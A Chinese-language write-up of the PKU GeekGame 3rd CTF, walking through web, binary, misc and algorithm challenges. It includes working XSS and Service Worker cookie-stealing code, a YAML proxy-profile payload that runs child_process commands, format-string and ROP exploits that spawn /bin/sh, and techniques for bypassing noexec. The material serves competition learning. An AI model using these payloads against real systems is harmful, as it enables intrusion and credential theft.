Write-up for GeekGame 3rd
你说的对，但是《PKU GeekGame》是由北京大学计算中心自主研发的一道全新开放世界 CTF 比赛……
今年比赛梗密度一如既往的高， 题目一如既往的有趣。通过这此比赛也学习到了不少新知识，包括二维码的编码方式，gzip 的编码方式，Service Worker 的安全性。感谢主办方的辛勤组织和付出，期待 GeekGame 越来越好。
学习到的新技能
这是第三次参加 GeekGame 了。非常喜欢有这样的交流平台，因为每次参考都能从别人的解答中学习到新技能、新工具。这些对优化平时的工作流有极大的帮助，正所谓“工欲善其事，必先利其器”。这里记录一下新学习的内容。
使用 ZMODEM 传输文件
SCP 和 rsync 之类的需要直接或者通过代理/端口转发访问机器的工具都不能用来在办公网和生产环境机器之间传输文件https://github.com/PKU-GeekGame/geekgame-3rd/tree/master/official_writeup/prob05-zserver。如果要实现本地和终端之前传输，可以使用 ZMODEM 协议。支持该协议的常用包是 lrzsz，可惜的是目前很多终端软件没有实现或者没有正确实现该协议。目前我找到了一个替代方案 trzsz，该方案为了解决终端软件没有实现 ZMODEM 协议的问题，独自实现了该协议，并写了一个 SSH wrapper 叫 tssh。
使用 VirusTotal 索引二进制文件
VirusTotal 是一个在线病毒扫描工具。因为它会记录所有用户上传的历史文件，我们可以用它来确定某个文件是官方发布的，还是经过出题人修改的。
以下是 writeup 的正文。其中包括一些补做的内容。题目在这个链接https://github.com/PKU-GeekGame/geekgame-3rd/tree/master/problemset。
Tutorial
一眼盯帧
题目文件是一张以 GIF 格式呈现的动画，每一帧都包含一个字符。问题的主要挑战在于，每一帧的播放时间太短，难以清晰看出每一帧上的内容。为了应对这一挑战，我在网络上找了一个能延长每一帧的播放时间的工具，这样就能观察每一帧的内容，将每一帧的内容拼接起来，就能得到字符串 synt{rawblgurtrrxtnzr} 。简单的观察可以发现使用了凯撒加密，只需进行枚举解密即可轻松获得答案。
小北问答
问题1：在北京大学（校级）高性能计算平台中，什么命令可以提交一个非交互式任务？
问题2：根据 GPL 许可证的要求，基于 Linux 二次开发的操作系统内核必须开源。例如小米公司开源了 Redmi K60 Ultra 手机的内核。其内核版本号是？
找到其开源代码即可。
问题3：每款苹果产品都有一个内部的识别名称（Identifier），例如初代 iPhone 是 iPhone1,1。那么 Apple Watch Series 8（蜂窝版本，41mm 尺寸）是什么？
在这个移动设备网上搜索一下，这里有一个小坑：代码编号的首字母要大写。
问题4：本届 PKU GeekGame 的比赛平台会禁止选手昵称中包含某些特殊字符。截止到 2023 年 10 月 1 日，共禁止了多少个字符？（提示：本题答案与 Python 版本有关，以平台实际运行情况为准）
查看源代码并打印出禁用的 emoji 图标的数量。
问题5：在 2011 年 1 月，Bilibili 游戏区下共有哪些子分区？（按网站显示顺序，以半角逗号分隔）
首先在维基百科看到2011年哔哩哔哩使用的网络域名是 bilibili.us。然后在web archive上查看2011年1月游戏分区主页。
问题6: 这个照片中出现了一个大型建筑物，它的官方网站的域名是什么？（照片中部分信息已被有意遮挡，请注意检查答案格式）
使用谷歌搜图，即可以知道该大型建筑物是卢森堡音乐厅。
MISC
Z 公司的服务器
Flag1: 重放一下 pcap 发出的数据即可得到 flag1。
Flag2: 当时发现 payload 里面有校验码，找到了 zmodem 的标准并尝试去除多余的校验码字符，但是没读明白。
学习了一下其他选手的解法，其实可以直接调库完成格式的转换。
猫咪状态监视器
当时看到LIST命令没有任何输出，很困惑，后来就没看这题了。赛后看了一下，这个工具没有对参数进行检查，可以利用路径穿越的漏洞。
基本功
Flag1: 根据 bkcrack 中的教程进行明文攻击。注意到压缩包里面有一个 Chrome 的安装文件。 这里的问题是我们不知道安装文件的版本，幸运的是，我们可以知道这个安装文件的文件大小。我们可以枚举所有版本，然后根据文件大小确定安装文件。
Flag2: 同样是进行明文攻击。观察到题目给出的文件是一个 pcapng 格式的文件。根据文件的格式内容，我们可以知道，第9个到第24个字节的内容。根据已知的字节就可以使用明文攻击了。
Dark Room
Flag1: 根据游戏源代码，我们可以知道最优解在结束的时候只有90分，然而，游戏要求我们要达到117分才能通关。观察到help指令每次有20%的概率能够增加10分。那么我们可以不断的重复游戏，直到 help 成功 3 次获得达到额外的30分就能通关游戏了。由于每次只有20%的概率能够加10分，我们需要重复大概125次游戏。
Flag2: 进入房间后发现输入字符串，能够暴露出部分源代码。 阅读源代码，发现每次如果最低位是1，需要生成两个巨大的质数。这个生成质数的过程非常消耗时间。所以我们可以根据程序的反应时间来判断最低位是0还是1。不断的重复这个过程，我们就能得到整个数字。通过数字转字节数组，就能得到最终的答案。
123456789101112131415161718192021222324import time
binary_result = []
try:
for i in range(5000):
start_time = time.time()
io.sendline(b'1' * 50)
response = io.recvuntil(b'give me a number', timeout=3)
end_time = time.time()
elapsed_time = end_time - start_time
if elapsed_time < 0.3:
binary_result.append('0')
print(i, elapsed_time)
elif elapsed_time < 2:
binary_result.append('1')
print(i, elapsed_time)
else:
print(response)
break
except Exception as e:
print(f"An error occurred: {e}")
result_string = ''.join(binary_result) # Combine the binary results into a single string
麦恩·库拉夫特
这是一题基 Minecraft 的题目。因为不想折腾，没有下载这个游戏。题目也没有看。赛后看了一下解答，感觉需要对游戏里的游戏特性（红石电路，命令方块）有相当了解才容易做出这题。
Web
Emoji Wordle
Flag1: 枚举每个位置放哪个 emoji 是正确的。
Flag2: 解码 session 里面的 JWT token。
Flag3: 当时没做出来，当时以为要伪造 JWT。正确做法是类似重放攻击，不断重放在有效期内的 JWT token 就可以进行很多次的尝试。
第三新XSS
很喜欢这题，和很多大学给每个老师分配一个路径的使用场景很类似。
Flag1: 在页面中新建一个 iframe，并在其中访问受害者页面。然后直接读取我们想要的cookiehttps://developer.mozilla.org/en-US/docs/web/api/document/cookie#security。官方解答还提到，如果通过 X-Frame-Options 禁用了 iframe，使用 window.open 依然可以绕过。
12345678<iframe src="http://<出于安全考虑隐去>.geekgame.pku.edu.cn/admin" sandbox="allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox"></iframe>
<script>
const frame = document.querySelector('iframe');
const doc = document;
frame.onload = () => {
doc.title = frame.contentWindow.window.document.cookie
};
</script>
Flag2: 没做出来。需要用到 Service Worker。
注册：
12345(async function() {
await navigator.serviceWorker.register('/flag2_b/sw.js', {
scope: '/',
});
})()
Service Worker 代码:
1234567891011self.addEventListener('fetch', (event) => {
console.log('fetch', event.request.url);
if(event.request.url.indexOf('/admin/')!==-1) {
event.respondWith(
new Response(
'<script>setInterval(()=>{document.title="got: "+document.cookie}, 100)</script>',
{ headers: {'Content-Type': 'text/html'} }
)
);
}
});
简单的打字稿
Flag1: 学习教程。用 StringToArrray 拆分 flag 1。
1type StringToArrray<T extends string> = T extends `${infer L}${infer R}` ? [L, ...StringToArrray<R>] : [];
Flag2: 用教程里的 LastOfUnion 取出 type flag2 = object | { ... } 中的 { ... }，再用 extends 和 infer 组合得到 flag2。
1234567891011type UnionToIntersection<T> = (T extends any ? (x: T) => void : never) extends (
x: infer R
) => void
? R
: never;
type LastOfUnion<T> = UnionToIntersection<
T extends any ? (x: T) => void : never
> extends (x: infer L) => void
? L
: never;
逝界计划
没做出来。官方解答是用 nmap 进行文件读写： -iL /flag.txt -oN /media/log.txt.jpg。官方解答还提到实现 RCE 的方法。
123-iL <inputfilename>: Input from list of hosts/networks
-oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
and Grepable format, respectively, to the given filename.
非法所得
Flag1: 用 Flag3 的 RCE 方法读取 Flag。
12345678910111213proxies:
- name: a<img/id="X"/src="1"/onerror=eval(`document.getElementById('X').alt=require('fs').readFileSync('/app/profiles/flag.yml','utf-8').substring(86,116)`);>
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: Hello
type: select
proxies:
- a<img/id="X"/src="1"/onerror=eval(`document.getElementById('X').alt=require('fs').readFileSync('/app/profiles/flag.yml','utf-8').substring(86,116)`);>
Flag2: 买了一台的阿里服务器，上面放着用于取 flag 的网页。然后修改代理服务器的 dns 配置，把原神官网域名指向之前我们部署的服务器 IP。
Flag3: 在 Github 上找到 POC 代码 ，稍微修改一下即可实现 RCE。
12345678910111213proxies:
- name: a<img/id="X"/src="1"/onerror=eval(`document.getElementById('X').alt=require('child_process').execSync('/app/readflag')`);>
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: Hello
type: select
proxies:
- a<img/id="X"/src="1"/onerror=eval(`document.getElementById('X').alt=require('child_process').execSync('/app/readflag')`);>
Binary
汉化绿色版免费下载
Flag1: 挂 IDA 在内存中搜索 flag 即可。
Flag2: 找了很久没有找到能够解压 XP3 格式文件的软件，但是找到了能解压存档的软件 。通过观察存档文件，我们可以得到两个信息。第一，我们输入的 flag 是被 hash 成一个数字的；第二，我们可以知道每个字母被输入了多少次。根据第一个信息并且通过多次的试玩，我们可以观察到 hash 算法是 s = (13337 * s + 11 * inputchar) mod 19260817, inputchar('A') = 1, inputchar('E') = 2, ... inputchar('}') = 6。感觉这个方法非常依赖观察能力，应该不是标准解答。结合第二个信息，我们可以搜索所有可能的 flag 字符串，并检查他们的 hash 值是否和存档里的相同。
赛后看了一下解答，解答是用 GARbro 这个工具进行解包操作的。
初学 C 语言
Flag1: 用 %8$p%9$p%10$p... 可以打印存放在栈上的答案。
Flag2: 比赛时没做出来。当时 syscall 的 rdi 参数写错了，没调试出来。
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162# The 6-th args in printf() is at rsp or rbp-0x4f0
# Ret address is at rbp+0x8
# The ?-the args is rbp
# ? = 6 + (0x4f0 / 8) = 164
io.recvuntil(b'Please input your instruction:\n')
io.sendline(b'%164$p')
rbp_address = int(io.recvuntil(b'\n', drop=True).decode(), 16)
io.recvuntil(b'Please input your instruction:\n')
io.sendline(b'%165$p')
ret_address = int(io.recvuntil(b'\n', drop=True).decode(), 16)
# leak address
print(f'{rbp_address=:x}')
print(f'{ret_address=:x}')
def write_byte(addr, b: int):
io.recvuntil(b'Please input your instruction:\n')
if b > 0:
len_byte = len(str(b))
pad = b'a' * (7 - len_byte)
str_byte = str(b).encode()
io.sendline(b'%' + str_byte + b'c%36$hhn' + pad + p64(addr))
else:
io.sendline(b'%35$hhna' + p64(addr))
def write_long(addr, long):
print(f"write {long:x} at {addr:x}")
for i in range(8):
c = long // 256**i % 256
write_byte(addr + i, c)
bin_sh_addr = rbp_address - 0x450 - 0x10
for i, c in enumerate(b'/bin/sh\00'):
write_byte(bin_sh_addr + i, int(c))
# ROP
# 0x7ffff7f393fd --> 0x00005a777 + 0x7FFFF7F2F000
# ret_address --> ?
# ? = ret_address - 0x7ffff7f393fd + 0x7FFFF7F2F000 + 0x00005a777
# = ret_address -41981 + 0x00005a777(gadget)
base_address = rbp_address - 0x7fffffffe470 + 0x7fffffffe468
print(f'{base_address=:x}')
write_long(base_address + 0x00, ret_address -41981 + 0x000005a777) # pop rax ; ret
write_long(base_address + 0x08, 59) # sys_execv
write_long(base_address + 0x10, ret_address -41981 + 0x0000009cd2) # pop rdi ; ret
write_long(base_address + 0x18, bin_sh_addr) # 0
write_long(base_address + 0x20, ret_address -41981 + 0x000001781e) # pop rsi ; ret
write_long(base_address + 0x28, 0) # 0
write_long(base_address + 0x30, ret_address -41981 + 0x0000009bdf) # pop rdx ; ret
write_long(base_address + 0x38, 0) # 0
write_long(base_address + 0x40, ret_address -41981 + 0x0000059512) # mov eax, eax ; syscall
io.recvuntil(b'Please input your instruction:\n')
io.sendline(b'exit')
io.interactive()
Baby Stack
Flag1: 没做出来。不是很明白提示中的 “integer overflow” 是什么，我看到汇编里用的是 ja 来判断输入字母串的长度的。ja 指令应该是比较无符号整数的，所以不太清楚怎么利用漏洞。
赛后看了，原来是当 len=0 时， len-1 判断会溢出，此时允许我们输入任意长的字符串。
123456789101112131415161718192021ssize_t __fastcall get_line(char *buf, unsigned int len)
{
unsigned int i; // ebp
ssize_t result; // rax
char *v4; // rbx
for ( i = 0; ; ++i )
{
result = len - 1;
if ( (unsigned int)result <= i )
break;
v4 = &buf[i];
result = read(0, v4, 1uLL);
if ( *v4 == 10 )
{
*v4 = 0;
return result;
}
}
return result;
}
Flag2: 没做出来。赛后看了一下还是一道 printf 题。
123456789101112131415161718192021222324252627def exec_fmt(payload):
p = start()
p.sendlineafter(b'(less than 0x20 characters)\n', b'123')
p.sendlineafter(b'capture it?:', payload)
p.recvuntil(b'so you want to \n')
ret = p.recvline()
info(ret)
p.close()
return ret
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
io = start()
io.sendline(b'%21$p')
io.recvuntil(b'this is your flag: ')
libc_leak_value = int(io.recvuntil(b'\n', drop=True).decode(), 16)
info(f'leaked libc at {hex(libc_leak_value)}')
libc.address = libc_leak_value + 0x7ffff7c00000 - 0x7ffff7c29d90
info(f'libc base: {hex(libc.address)}')
# https://docs.pwntools.com/en/stable/fmtstr.html
io.sendlineafter(b'capture it?:',
fmtstr_payload(offset, {exe.got['puts']: libc.sym['system']}))
io.sendlineafter(b' and your flag again? :', b'/bin/sh')
io.interactive()
绝妙的多项式
Flag1: 观察到题目需要我们解一个整数线性方程。 用 SymPy 求解即可。
123456789from sympy import Matrix
b = <期望输出，从 .rodata 中读出>
mod = 998244353
A = [ (i+1) ** j % mod for i in range(n) for j in range(n) ]
A = Matrix(n, n, A)
Ai = A.inv_mod(mod)
B = Matrix(n, 1, b)
sol = Ai * B % mod
flag = ''.join(map(chr, list(sol.T)))
Flag2: 观察到题目使用了一个 NTT 变换https://oi-wiki.org/math/poly/ntt/。做一次逆变换即可得到答案。
12345678910111213141516171819202122232425262728293031323334353637383940def change(y):
length = len(y)
rev = [0] * length
for i in range(length):
rev[i] = rev[i >> 1] >> 1
if i & 1:
rev[i] |= length >> 1
for i in range(length):
if i < rev[i]:
y[i], y[rev[i]] = y[rev[i]], y[i]
def NTT(a, inverse = False):
m = len(a)
m2 = m
inv_p = inv(m)
if inverse:
change(a)
while m2 > 1:
m2 //= 2
for i in range(0, m, 2*m2):
for j in range(0, m2):
p = i+j
q = i+j+m2
v5 = <从 .rodata 中读出的常数>[j+m2]
if inverse:
v5 = inv(v5)
P = a[p]
Q = a[q]
a[p] = (P+Q)%mod
a[q] = (P-Q+mod)*v5%mod
if inverse:
for i in range(m):
a[i] = a[i]*inv_p % mod
change(a)
Flag3: 观察到题目使用 NTT 变换，实现了多项式的乘法 ployA x polyB = ployC。可以变换成一个线性方程，用 Z3 求解即可。
1234567891011121314151617181920212223from z3 import *
flag3_len = 0x28
s = Solver()
A = [Int(f'a_{i}') for i in range(flag3_len)]
for i in range(n):
s.add(And(A[i] > 32, A[i] < 127))
for i, c in enumerate('flag{'):
s.add(A[i] == ord(c))
s.add(A[-1] == ord('}'))
A_pad = [A[i] if i < len(A) else 0 for i in range(0x40)]
B = [ <从 .rodata 中读出的 ployB>[i%0x22] for i in range(0x40) ]
for i in range(0x40):
ss = []
for a in range(i+1):
b = i-a
ss.append(A_pad[a] * B[b])
ss = Sum(ss)
cont = ss == <从 .rodata 中读出的 ployC>[i]
s.add(cont)
禁止执行，启动
题意，绕过文件系统的 noexec 选项。
Flag1: 用 LLDB 的 expr __asm (...) 执行汇编代码。也可以用 p $rdi = 0 设置寄存器，然后 syscall。
Flag2: 当时没做出来。需要利用 /proc/<pid>/mem 来读写https://elixir.bootlin.com/linux/v5.9/source/fs/proc/base.c#L926应用的内存（前提是有 ptrace 的权限）,而且可以写任意只读部分https://elixir.bootlin.com/linux/v5.9/source/kernel/fork.c#L1217。内核对此有相关的安全考虑，称为 YAMA 特性https://www.kernel.org/doc/html/v4.15/admin-guide/LSM/Yama.html。在 /proc/sys/kernel/yama/ptrace_scope 可以看到默认的级别是 1 （restricted ptrace，默认只允许读写子进行的内存）。
这题的官方解答https://github.com/PKU-GeekGame/geekgame-3rd/blob/master/official_writeup/prob07-noexec/README.md#flag-2用了一个有趣的技巧。问题是这样的，我们需要用一些工具（hexdump, dd, tail）对父进程的 mem 文件进行读写，但是这是违反 YAMA 规则的。解决的方法是，让父进程自己打开，然后把文件描述符传给子进程。
12345$ exec 3<>/proc/self/mem
$ ls /proc/self/fd/3 -al
lrwx------ 1 linux linux 64 Oct 21 00:28 /proc/self/fd/3 -> /proc/141090/mem
$ dd <&3
dd: error reading 'standard input': Input/output error
这题还有些很怪的地方，当我尝试把 cat /bin/busybox 保存下来时，不知道是哪一层的终端模拟器在 0x0a 前面加 0x0d 字节，导致导出的文件不能用。一种解决方法是套一层 base64 编码。
另外，这个项目Github - arget13/DDexec对 mem 文件的有更加的探讨。
Flag3: 当时没做出来。用 memfd_create() 这个系统调用可以创建 rwx 的文件In-Memory-Only ELF Execution (Without tmpfs)。然后用符号链接构造好运行环境，这利用了 noexec 是按照被链接到的对象决定进行判断的特点。
Algorithm
关键词过滤喵，谢谢喵
Flag1: 把所有字符替换成字母a。把每1000个字母a替换成字母d，把每100个字母a替换成字母c，把每10个字母a替换成字母b。 输出的时候，把 abcd 字母的个数转成数字即可。
1234567891011121314151617181920212223242526272829prog = [
Replace(False, r'[\n\r]', r'a'),
Replace(False, r'.', r'a'),
Replace(False, r'a{1000}', r'd'),
Replace(False, r'^', r'd'),
Replace(False, r'a{100}', r'c'),
Replace(False, r'(d+)', r'\1c'),
Replace(False, r'a{10}', r'b'),
Replace(False, r'(c+)', r'\1b'),
Replace(False, r'$', r'a'),
Replace(False, r'([abcd])\1{9}', r'9'),
Replace(False, r'([abcd])\1{8}', r'8'),
Replace(False, r'([abcd])\1{7}', r'7'),
Replace(False, r'([abcd])\1{6}', r'6'),
Replace(False, r'([abcd])\1{5}', r'5'),
Replace(False, r'([abcd])\1{4}', r'4'),
Replace(False, r'([abcd])\1{3}', r'3'),
Replace(False, r'([abcd])\1{2}', r'2'),
Replace(False, r'([abcd])\1{1}', r'1'),
Replace(False, r'([abcd])', r'0'),
Replace(True, r'^0', r''),
Replace(False, r'^$', r'0'),
];
Flag2: 用一个特殊的字符分隔输入的字符串。然后不断判断相邻的两个字符串的长度是否满足降序的要求，如果不满足，则交换这两个字符串。不断的重复这个过程，直到无法替换就完成了字符串的排序。 这里有一个问题是如何比较字符串的长度呢？我把并把原来的字符串备份一份，用一个特殊字符来分隔原来的字符串和新的字符串，并把新的备份全部替换成字母a。这样，我们比较字符串长度的问题就变成了比较a的个数。 可以用 (a*)a+分隔符\1 这种形式来判断前面的字符串是否比后面的长。
123456789prog = [
Replace(True, r'\n\n', r'\n'),
Replace(False, r'\n|$|^', r'⭕️'),
Replace(True, r'⭕️([^⭕️👀]+)⭕️', r'⭕️\1👀\1⭕️'),
Replace(True, r'⭕️([^⭕️👀]*)[^⭕️👀a]([^⭕️👀]*)👀([^⭕️👀]+)⭕️', r'⭕️\1a\2👀\3⭕️'),
Replace(True, r'⭕️(a+)(a+)👀([^⭕️👀]+)⭕️\1👀([^⭕️👀]+)⭕️', r'⭕️\1👀\4⭕️\1\2👀\3⭕️'),
Replace(False, r'⭕️([^⭕️👀]*)👀([^⭕️👀]+)', r'\2\n'),
Replace(False, r'⭕️', r''),
];
Flag3: 用字符串表达 brainfuck 的状态机，状态机包括三个部分：代码（及代码游标），内存（及内存游标），输出。我们有很多可用的 emoji 字符来进行不同部分的分割和游标的表示。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107def gen(a, b):
ret = []
for i in range(b,a-1,-1):
c = chr(i) if chr(i) != "\\" else "\\\\"
ret.append(Replace(False, f'🏹(.*)✨(a{{{i}}})🎃', f'{c}🏹\\1✨\\2🎃'))
return ret
prog = [
# Remove comments
Replace(False, r'\n', r''),
Replace(False, r'[^\[\].+-<>]', r''),
Replace(False, r'\d', r''),
Replace(False, r'[;:]', r''),
Replace(False, r'^(.*)$', r'🎈\1🎠🏹✨🎃✨🎉'),
Branch(False, r'🎈', "Start2"),
"Start",
Replace(False, r'🎈(.)', r"\1🎈"),
"Start2",
Branch(False, r'🎈🎠', "End"),
Branch(False, r'🎈\+', "OP+"),
Branch(False, r'🎈-', "OP-"),
Branch(False, r'🎈>', "OP>"),
Branch(False, r'🎈<', "OP<"),
Branch(False, r'🎈\[', "OP["),
Branch(False, r'🎈]', "OP]"),
Branch(False, r'🎈.', "OP."),
"OP+",
Replace(False, r'✨(a*)🎃', r'✨a\1🎃'),
Branch(False, r'🎈', "Start"),
"OP-",
Replace(False, r'✨a(a*)🎃', r'✨\1🎃'),
Branch(False, r'🎈', "Start"),
"OP>",
Replace(False, r'🎃$', r'🎃✨🎉'),
Replace(False, r'✨(a*)🎃✨(a*)🎉', r'✨\1🎉✨\2🎃'),
Branch(False, r'🎈', "Start"),
"OP<",
Replace(False, r'🏹✨(a*)🎃', r'🏹✨🎉✨\1🎃'),
Replace(False, r'✨(a*)🎉✨(a*)🎃', r'✨\1🎃✨\2🎉'),
Branch(False, r'🎈', "Start"),
"OP[",
Branch(False, r'✨a+🎃', "Start"),
# Jump past the matching ] if the cell at the pointer is 0
Replace(False, r'$', r'🎨'),
"OP[-dispatch",
Branch(False, r'🎈\[', "OP[-["),
Branch(False, r'🎈]', "OP[-]"),
"OP[-other",
Replace(False, r'🎈(.)', r"\1🎈"),
Branch(False, r'🎈', "OP[-dispatch"),
"OP[-[",
Replace(False, r'🎨(.*)$', r'🎨X\1'),
Branch(False, r'🎈', "OP[-other"),
"OP[-]",
Replace(False, r'🎨X(.*)$', r'🎨\1'),
Replace(False, r'🎨$', r''),
Branch(True, r'🎨', "Start"),
Branch(False, r'🎈', "OP[-other"),
"OP]",
Branch(False, r'✨🎃', "Start"),
# Jump back to the matching [ if the cell at the pointer is nonzero
Replace(False, r'$', r'🎨'),
"OP]-dispatch",
Branch(False, r'🎈\[', "OP]-["),
Branch(False, r'🎈]', "OP]-]"),
"OP]-other",
Replace(False, r'(.)🎈', r"🎈\1"),
Branch(False, r'🎈', "OP]-dispatch"),
"OP]-]",
Replace(False, r'🎨(.*)$', r'🎨X\1'),
Branch(False, r'🎈', "OP]-other"),
"OP]-[",
Replace(False, r'🎨X(.*)$', r'🎨\1'),
Replace(False, r'🎨$', r''),
Branch(True, r'🎨', "Start"),
Branch(False, r'🎈', "OP]-other"),
"OP.",
] + gen(32,122) + [
Branch(False, r'🎈', "Start"),
"End",
# Replace(False, r'🎠', r'\1'),
Replace(False, r'^.*🎠(.*)🏹.*$', r'\1'),
];
未来磁盘
为了方便表述，做以下记号约定：f0 是完全未被压缩的包含 flag 的文件，f1 是压缩 f0 得到的文件，f2 是压缩 f1 得到的文件。这个问题的关键是要了解 gzip 的算法，需要阅读 RFC 1951 和 1952。
Flag1: 解压出 f1 文件，大小约 8 GiB。修改标准的解压算法使其只输出 alphabet （术语来自 RFC），不输出 <length, backward distance> 即可。运行修改后的算法即可得到 flag。
Flag2: 解压出 f2 文件，大小约 40 GiB。观察到文件中有很如同 <258, 16433>, <258, 1>, <258, 1>, ..., <258, 1>，<238或239, 1> 的模式（这里 <a,b> 表示 <length, backward distance>），每一个模式对应 f1 中的一个 compressed block。我们修改标准的解压算法，找到第一个不遵循这个模式的 compressed block，然后用 flag1 的方法解压这个 block 即可得到 flag2。
扫雷III
没做出来。简单看了一下解答，很有趣，是用扫雷构造的电路。Matrix67 写过一篇有趣的文章Matrix67 经典证明：扫雷是NP完全问题。最早的研究应该是这篇学术文章Minesweeper is NP-complete (2000). Slides。
小章鱼的曲奇
Flag1: 调用mersenne-twister-predictor。
Flag2: 阅读 cpython 的代码可知，种子是会被取绝对值的。因此直接令 seed2 = - seed1。
Flag3: 好像出题人疏忽了，直接重复输入种子即可。
华维码
Flag1: 搜索所有可能的摆放方式，并检查生成的二维码能否被正确扫描。
Flag2: 搜索所有可能的摆放方式，并检查生成的二维码能否被正确扫描。这个问题的关键是要了解二维码的编码方式，并进行搜索剪枝。我阅读了教程。理解编码方式之后，可以采用以下两个搜索剪枝方案：
方案一：答案用 Byte Mode Encoding（因为其他编码方式都不能实现网址或者 flag{xxx} 字符串的编码）。加入这个剪枝之后，我们可以知道最终的字符串的长度是 63。
方案二：二维码中有很多点我们是能够确定是什么的，这就约束了某个块能够摆放的位置。在搜索的过程中，我们优先搜索摆放位置数量最少的块。我一共使用了两种方法来确定已知点。第一，定位块和对齐线是已知的，那么它们所在的点也是能确定的。第二，在 Version 7-L 中，一共有两个 blocks，每个 block 可以放 78 个 crosswords （这里的数据和术语都是来自前面说的教程），因为最终的字符串的长度是 63，小于 78-2 （-2 是因为要放置 Encoding Mode, Bytes Length 和 End of Bytes），所以第二个 block 是空的，也就是用 11101100 00010001 进行填充的（教程里说的用此 padding 填充不够长的数据）。所以我们能够确定第二个 block 对应的点。
解出二维码后，得到一个 gist 链接，但进去后并没有 flag 的内容。我猜是出题人想我们玩一下 9X9 的格子华容道。我在网上找了一个华容道开源代码，并把它修改成9x9的游戏模式，手动玩一遍果然可得到 flag。
这题写了很长的代码，主要是一个苦力活，有很多细节要处理（比如要生成 crosswords 以 zigzag pattern 摆放的序列）。